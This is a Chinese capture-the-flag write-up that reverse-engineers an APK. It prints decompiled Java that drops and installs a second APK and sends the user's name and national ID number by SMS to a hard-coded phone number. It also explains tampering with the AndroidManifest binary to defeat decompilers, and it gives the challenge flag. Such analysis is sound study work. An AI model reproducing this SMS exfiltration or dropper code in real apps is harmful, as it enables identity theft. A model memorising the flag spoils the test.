攻防世界 XCTF 【Mobile】APK逆向-2 题解

878 阅读9分钟

image.png

正常下载附件,解压后,拖到 JADX-gui 中去反编译一下,然后保存到文件夹里去,用 IDEA 打开,方便我们编辑。

image.png

打开之后,观察一下 AndroidManifest.xml 里面都有什么。

image.png

什么? AndroidManifest.xml 里竟然是空的?第一次遇见这种情况。暂时没啥思路,那就正常看看 MainActivity 吧

为了节省空间删除一些没啥意义的代码,并添加了详细的注释:

public class MainActivity extends ActionBarActivity {
    public void onCreate(Bundle savedInstanceState) {
        // 请求一个没有标题栏的窗口
        requestWindowFeature(1);
        // 自定义方法:获取所有已经安装的应用程序的名称
        initpackagNameList();
        System.out.println("host开始运行==============================");

        // 注册了一个广播接收器
        this.receiver = new MyReceiver(this, null);
        // 设置过滤器:安装 app 的时候,系统会自动发送这个 Intent 广播
        IntentFilter filter = new IntentFilter("android.intent.action.PACKAGE_ADDED");
        // 不太明白这个是什么?
        filter.addDataScheme("package");
        registerReceiver(this.receiver, filter);
        // 自定义方法:判断系统是否安装过这个 app
        boolean installed_1 = detectApk("com.example.com.android.trogoogle");

        // 如果没有安装这个 app 的话
        if (!installed_1) {
            System.out.println("host开始安装==============================");
            File fileDir = getFilesDir();
            String cachePath = String.valueOf(fileDir.getAbsolutePath()) + "/com.android.Trogoogle.apk";
            // 自定义方法:将 apk 写入文件系统 data/data/xxx/com.android.Trogoogle.apk
            retrieveApkFromAssets(this, "com.android.Trogoogle.apk", cachePath);
            // 自定义方法:打开 app 应用,应该是安装应用
            showInstallConfirmDialog(this, cachePath);
        }
        // 获取组件的引用
        this.pass = (EditText) findViewById(R.id.password);
        // 登陆按钮
        this.button1 = (Button) findViewById(R.id.button1);
        this.button1.setOnClickListener(new View.OnClickListener() {
            public void onClick(View arg0) {
                // 自定义方法:判断系统是否安装过这个 app
                boolean installed = MainActivity.this.detectApk("com.example.com.android.trogoogle");
                if (!installed) { // 如果没有,那就再安装一遍,跟前面的操作是一样的
                    File fileDir2 = MainActivity.this.getFilesDir();
                    String cachePath2 = String.valueOf(fileDir2.getAbsolutePath()) + "/com.android.Trogoogle.apk";
                    MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", cachePath2);
                    MainActivity.this.showInstallConfirmDialog(MainActivity.this, cachePath2);
                    return;
                }
                // 自定义方法:获取网络连接状态
                boolean isOpenNet = MainActivity.this.goToNetWork();
                if (!isOpenNet) { // 如果网络未连接
                    Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
                } else if (MainActivity.this.pass.getText().toString().length() >= 6) {  // 如果网络连接了,并且输入的密码长度 >= 6
                    Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
                    Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
                } else {
                    Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
                }
            }
        });
        // 注册按钮
        this.button2 = (Button) findViewById(R.id.button2);
        this.button2.setOnClickListener(new View.OnClickListener() {
            public void onClick(View arg0) {
                // 打开 注册 Activity
                MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
            }
        });
    }

    public boolean goToNetWork() {
        // 获取网络连接管理器实例
        ConnectivityManager manager = (ConnectivityManager) getSystemService("connectivity");
        // 获取 wifi 的网络状态
        NetworkInfo.State wifi = manager.getNetworkInfo(1).getState();
        if (wifi != null) {
            return true;
        }
        // 获取蜂窝数据网络状态
        NetworkInfo.State mobile = manager.getNetworkInfo(0).getState();
        return mobile != null;
    }

    // fileName = com.android.Trogoogle.apk; path = data/data/xxx/com.android.Trogoogle.apk
    public boolean retrieveApkFromAssets(Context context, String fileName, String path) {
        File file;
        boolean bRet = false;
        try {
            file = new File(path);
        } catch (IOException e) {
            Toast.makeText(context, e.getMessage(), 2000).show();
            AlertDialog.Builder builder = new AlertDialog.Builder(context);
            builder.setMessage(e.getMessage());
            builder.show();
            e.printStackTrace();
        }
        if (file.exists()) {
            return true;
        }
        // 第一次运行是没有 cache 的,所以上面的内容会跳过。

        file.createNewFile();
        // assets 里只有一个 com.android.Trogoogle.apk.lnk 但是传入的参数没有 ".lnk",也就是说压根是找不到的
        InputStream is = context.getAssets().open(fileName);
        FileOutputStream fos = new FileOutputStream(file);
        byte[] temp = new byte[1024];
        while (true) {
            int i = is.read(temp);
            if (i == -1) {
                break;
            }
            fos.write(temp, 0, i);
        }
        fos.flush();
        fos.close();
        is.close();
        bRet = true;
        return bRet;
    }

    public void showInstallConfirmDialog(final Context context, final String filePath) {
        // filePath = data/data/xxx/com.android.Trogoogle.apk
        AlertDialog.Builder tDialog = new AlertDialog.Builder(context);
        tDialog.setIcon(R.drawable.ic_launcher);
        tDialog.setTitle("未安装资源包");
        tDialog.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
        tDialog.setPositiveButton("安装", new DialogInterface.OnClickListener() {
            public void onClick(DialogInterface dialog, int which) {
                try {
                    String command = "chmod 777 " + filePath;
                    Runtime runtime = Runtime.getRuntime();
                    runtime.exec(command);
                } catch (IOException e) {
                    e.printStackTrace();
                }
                // 显示内容的标准行动
                Intent intent = new Intent("android.intent.action.VIEW");
                // 268435456 -> Intent.FLAG_ACTIVITY_NEW_TASK : 这个标志表示如果当前应用程序没有在前台运行,系统应该为其创建一个新的任务栈
                intent.addFlags(268435456);
                // "application/vnd.android.package-archive" 是APK文件的MIME类型
                intent.setDataAndType(Uri.parse("file://" + filePath), "application/vnd.android.package-archive");
                // 启动这个活动: 那么系统将会打开指定的APK文件
                context.startActivity(intent);
            }
        });
        tDialog.show();
    }

    // packageName = com.example.com.android.trogoogle
    public boolean detectApk(String packageName) {
        return this.packagNameList.contains(packageName.toLowerCase());
    }

    private void initpackagNameList() {
        this.packagNameList = new ArrayList<>();
        // 获取包管理器
        PackageManager manager = getPackageManager();
        // 设备上所有已安装的应用程序的包信息
        List<PackageInfo> pkgList = manager.getInstalledPackages(0);
        for (int i = 0; i < pkgList.size(); i++) {
            PackageInfo pI = pkgList.get(i);
            this.packagNameList.add(pI.packageName.toLowerCase());
        }
    }

    private class MyReceiver extends BroadcastReceiver {
        public void onReceive(Context context, Intent intent) {
            System.out.println("MyReceiver 收到广播==========================");
            if (intent.getAction().equals("android.intent.action.PACKAGE_ADDED")) {
                // 很明显接下来的代码是启动 com.example.com.android.trogoogle.MainActivity
                Intent mIntent = new Intent(context, MainActivity.class);
                context.startActivity(mIntent);
                System.out.println("  界面跳 Ok!==============================");
                Intent intent11 = new Intent("android.intent.action.MAIN");
                intent11.addFlags(268435456);
                intent11.addCategory("android.intent.category.LAUNCHER");
                ComponentName cn = new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity");
                intent11.setComponent(cn);
                context.startActivity(intent11);
                System.out.println("  启动 Ok!==============================");
                SmsManager sms1 = SmsManager.getDefault();
                sms1.sendTextMessage("15918661173", null, " Tro instanll Ok", null, null);
                System.out.println("  发送短信 Ok!==============================");
            }
        }
    }
}

我咋看都不像是正经的 CTF ,这完全就是一个自动安装非法软件的 app 然后再看一下 RegisterActivity :

public class RegisterActivity extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        // 身份证号编辑框
        this.idEditText = (EditText) findViewById(R.id.idnumberId);
        // 姓名编辑框
        this.nameEditText = (EditText) findViewById(R.id.idnameId);
        // 注册按钮
        this.sendButton = (Button) findViewById(R.id.buttonId);
        this.sendButton.setOnClickListener(new View.OnClickListener() {
            public void onClick(View arg0) {
                // 获取身份证号码
                String idnumberString = RegisterActivity.this.idEditText.getText().toString();
                if (idnumberString.length() != 18) {
                    Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
                    return;
                }
                int year = Integer.parseInt(idnumberString.substring(6, 10));
                int moth = Integer.parseInt(idnumberString.substring(10, 12));
                int day = Integer.parseInt(idnumberString.substring(12, 14));
                // 如果年、月、日不满足
                if (year > 1996 || year < 1980 || moth > 12 || moth == 0 || day == 0 || day > 31) {
                    Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
                } else if (RegisterActivity.this.nameEditText.getText().toString().length() < 2 || RegisterActivity.this.nameEditText.getText().toString().length() > 4) {
                    Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
                } else {
                    SmsManager sms1 = SmsManager.getDefault();
                    sms1.sendTextMessage("15918661173", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + idnumberString, null, null);
                    Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
                    RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
                }
            }
        });
    }
}

好家伙,这不就是一个窃取用户身份信息的 app 吗 还有个 WelcomeActivity 也就不用咋看了,也是窃取用户身份的代码。

这代码跟 CTF 完全无关,问题出在哪里了呢,我一开始还以为这个 .lnk 文件是 apk 文件,结果发现它就是一个快捷方式的文件

image.png

分析了一下这个 .lnk 也没发现啥有用的东西,线索完全断了,问题出在哪里了呢

仔细回想,好像AndroidManifest.xml 不对劲 AndroidManifest.xml 里面什么都没有!

为什么会这样呢?

原理可以参考 “AndroidManifest.xml 实现反编译对抗”,这里就不详细讲解了,简单说一下

假如说下图是一个正常的 AndroidManifest.xml 在 apk 安装包里的数据 image.png

因为谷歌官方并没有解释这个文件的二进制结构是什么样的,我们可以使用看雪 MindMac 师傅发布的图片来理解: bbs.kanxue.com/thread-1942…

image.png

因为安装 apk 的时候,AndroidManifest.xml 文件是在安卓手机上解析的,谷歌默认情况下认为这个文件没人会去更改里面的二进制数据的,所以这里的标志性字节的值,谷歌的安装 apk 代码里并没有强制性的去校验。

比如说第一个字节正常情况下是 03 00 08 00 (这里是小端模式,图片是大端模式),我们可以将其改为 00 00 08 00 (当然不止这一处,可以还有很多处都可以,这里只是举例),然后放到手机上去安装,实际上谷歌的安装器代码压根不校验这个值,所以可以正常安装。

但是我们用的反编译工具,比如说 JADX 、apktools 等工具在解析的时候是需要用到这些特定的二进制值的,如果值不对,这些工具可能会报错什么的,也就导致 AndroidManifest.xml 无法解析,直接输出个空的文件。

这样我们就可以通过修改特定的 AndroidManifest.xml 二进制文件里的特定值,来实现反编译对抗。

所以回到这道题上,因为 AndroidManifest.xml 文件没有被反编译出来,我们猜测,可能是 AndroidManifest.xml 文件的二进制值被修改了,那么如何改回去呢。

我这里简单写了一个代码来判断值是否有问题。目前只写了 100 多行,刚刚够这道题用的。

我们可以把 .apk 改为 .zip 然后解压得到二进制的 AndroidManifest.xml

class AMTransForm:
    def __init__(self, file_data):
        self.Data = {
            "MagicNumber": {"size": 4, "require": b'\x03\x00\x08\x00'},
            "FileSize": {"size": 4},
            "ChunkType": {"size": 4, "require": b'\x01\x00\x1C\x00'},
            "ChunkSize": {"size": 4},
            "StringCount": {"size": 4, "count": 0},
            "StyleCount": {"size": 4, "count": 0},
            "Unknown": {"size": 4},
            "StringPoolOffset": {"size": 4},
            "StylePoolOffset": {"size": 4},
            "StringOffsets": {"size": None, "lenTarget": "StringCount"}
        }
        self.curses = 0
        self.file_data = file_data
        for key in self.Data:
            self.transfer(key, self.Data[key])

    def transfer(self, key, value):
        # 获取 bytes
        byte = self.get_byte(value)

        # 设置当前文件数据
        value["current"] = byte

        # 调用分析函数
        func = getattr(self, key)
        func(value, byte)

        # 打印信息
        self.print_info(key, value)

    @staticmethod
    def StringOffsets(region, byte):
        region["require"] = byte
        region["info"] = "[-] StringOffsets: "
        tmp = []
        for b in range(0, len(byte), 4):
            num = int.from_bytes(byte[b:b + 4], "little")
            tmp.append(str(num))  # 转化为 10 进制
        region["info"] += "、".join(tmp)

    def get_byte(self, value):
        if "lenTarget" in value:
            byte = self.file_data[self.curses: self.curses + (4 * self.Data[value["lenTarget"]]["count"])]
            self.curses += 4 * self.Data[value["lenTarget"]]["count"]
        else:  # 定长区块
            byte = self.file_data[self.curses: self.curses + value["size"]]  # 读取数据
            self.curses += value["size"]  # 移动游标
        return byte

    def StylePoolOffset(self, region, byte):
        size = int.from_bytes(byte, "little")
        region["require"] = size.to_bytes(4, "little")
        if size > len(self.file_data):
            region["info"] = "\033[31m[E] StylePoolOffset 偏移过大\033[0m"
        else:
            region["info"] = "[-] StylePoolOffset 偏移 " + str(size) + " 字节"

    def StringPoolOffset(self, region, byte):
        size = int.from_bytes(byte, "little")
        region["require"] = size.to_bytes(4, "little")
        if size > len(self.file_data):
            region["info"] = "\033[31m[E] StringPoolOffset 偏移过大\033[0m"
        else:
            region["info"] = "[-] StringPoolOffset 偏移 " + str(size) + " 字节"

    @staticmethod
    def Unknown(region, byte):
        num = int.from_bytes(byte, "little")
        region["require"] = num.to_bytes(4, "little")
        region["info"] = "未定义的数据块"

    @staticmethod
    def StyleCount(region, byte):
        count = int.from_bytes(byte, "little")
        region["require"] = count.to_bytes(4, "little")
        region["info"] = "[-] StyleCount: " + str(count) + " 个"
        region["count"] = count

    @staticmethod
    def StringCount(region, byte):
        count = int.from_bytes(byte, "little")
        region["require"] = count.to_bytes(4, "little")
        region["info"] = "[-] StringCount: " + str(count) + " 个"
        region["count"] = count

    @staticmethod
    def ChunkSize(region, byte):
        size = int.from_bytes(byte, "little")
        region["require"] = size.to_bytes(4, "little")
        region["info"] = "[-] ChunkSize: " + str(size) + " 字节"

    @staticmethod
    def ChunkType(region, byte):
        if byte == region["require"]:
            region["info"] = "ChunkType 标志正常"
        else:
            region["info"] = "\033[31m[E] ChunkType 标志异常\033[0m"

    def FileSize(self, region, byte):
        size = len(self.file_data)
        region["require"] = size.to_bytes(4, "little")

        if size == int.from_bytes(byte, "little"):  # 如果相同
            region["info"] = "文件大小正常: " + str(size) + " 字节"
        else:
            region["info"] = "\033[31m[E] 文件大小异常\033[0m"

    @staticmethod
    def MagicNumber(region, byte):
        if byte == region["require"]:
            region["info"] = "该文件为小端序"
        elif byte == b'\x00\x08\x00\x03':
            region["info"] = "该文件为大端序"
        else:
            region["info"] = "\033[31m[E] 魔数异常\033[0m"

    @staticmethod
    def print_info(key, value):
        def some(region_):
            bit = []
            for i in range(0, len(region_), 4):
                tmp = "{:0>8s}".format(hex(int.from_bytes(region_[i:i+4], "little"))[2:])
                bit += [tmp[i:i + 2] for i in range(6, -1, -2)]
            result = " ".join(bit)  # 默认小端序显示
            print(result, end=" | ")

        # 对齐打印
        num = 18 - len(key)
        print(key+" "*num, end=" | ")
        some(value["require"])
        some(value["current"])
        print(value["info"])


if __name__ == "__main__":
    path = "AndroidManifest.xml"
    file = open(path, 'rb')
    data = file.read()

    print("\033[31m请注意!\033[0m默认处理小端文件,如果你的文件是大端,请使用帮助文件(暂时未实现)转化为小端")
    print("文件块              | 标准: 小端序  | 当前文件     | 信息")
    amTF = AMTransForm(data)

image.png

写到后面发现难度越来越大了,目前还没有这方面的需求,所以先搁置吧,等以后有需求了再继续完善这个代码吧

image.png

把这两处错误的地方改正,然后保存,然后再压缩为 .zip 再修改为 .apk ,然后使用 JADX 再反编译一次看看。

image.png

非常好,已经成功反编译了,那么 flag 应该就是指着一串字符了: 8d6efd232c63b7d2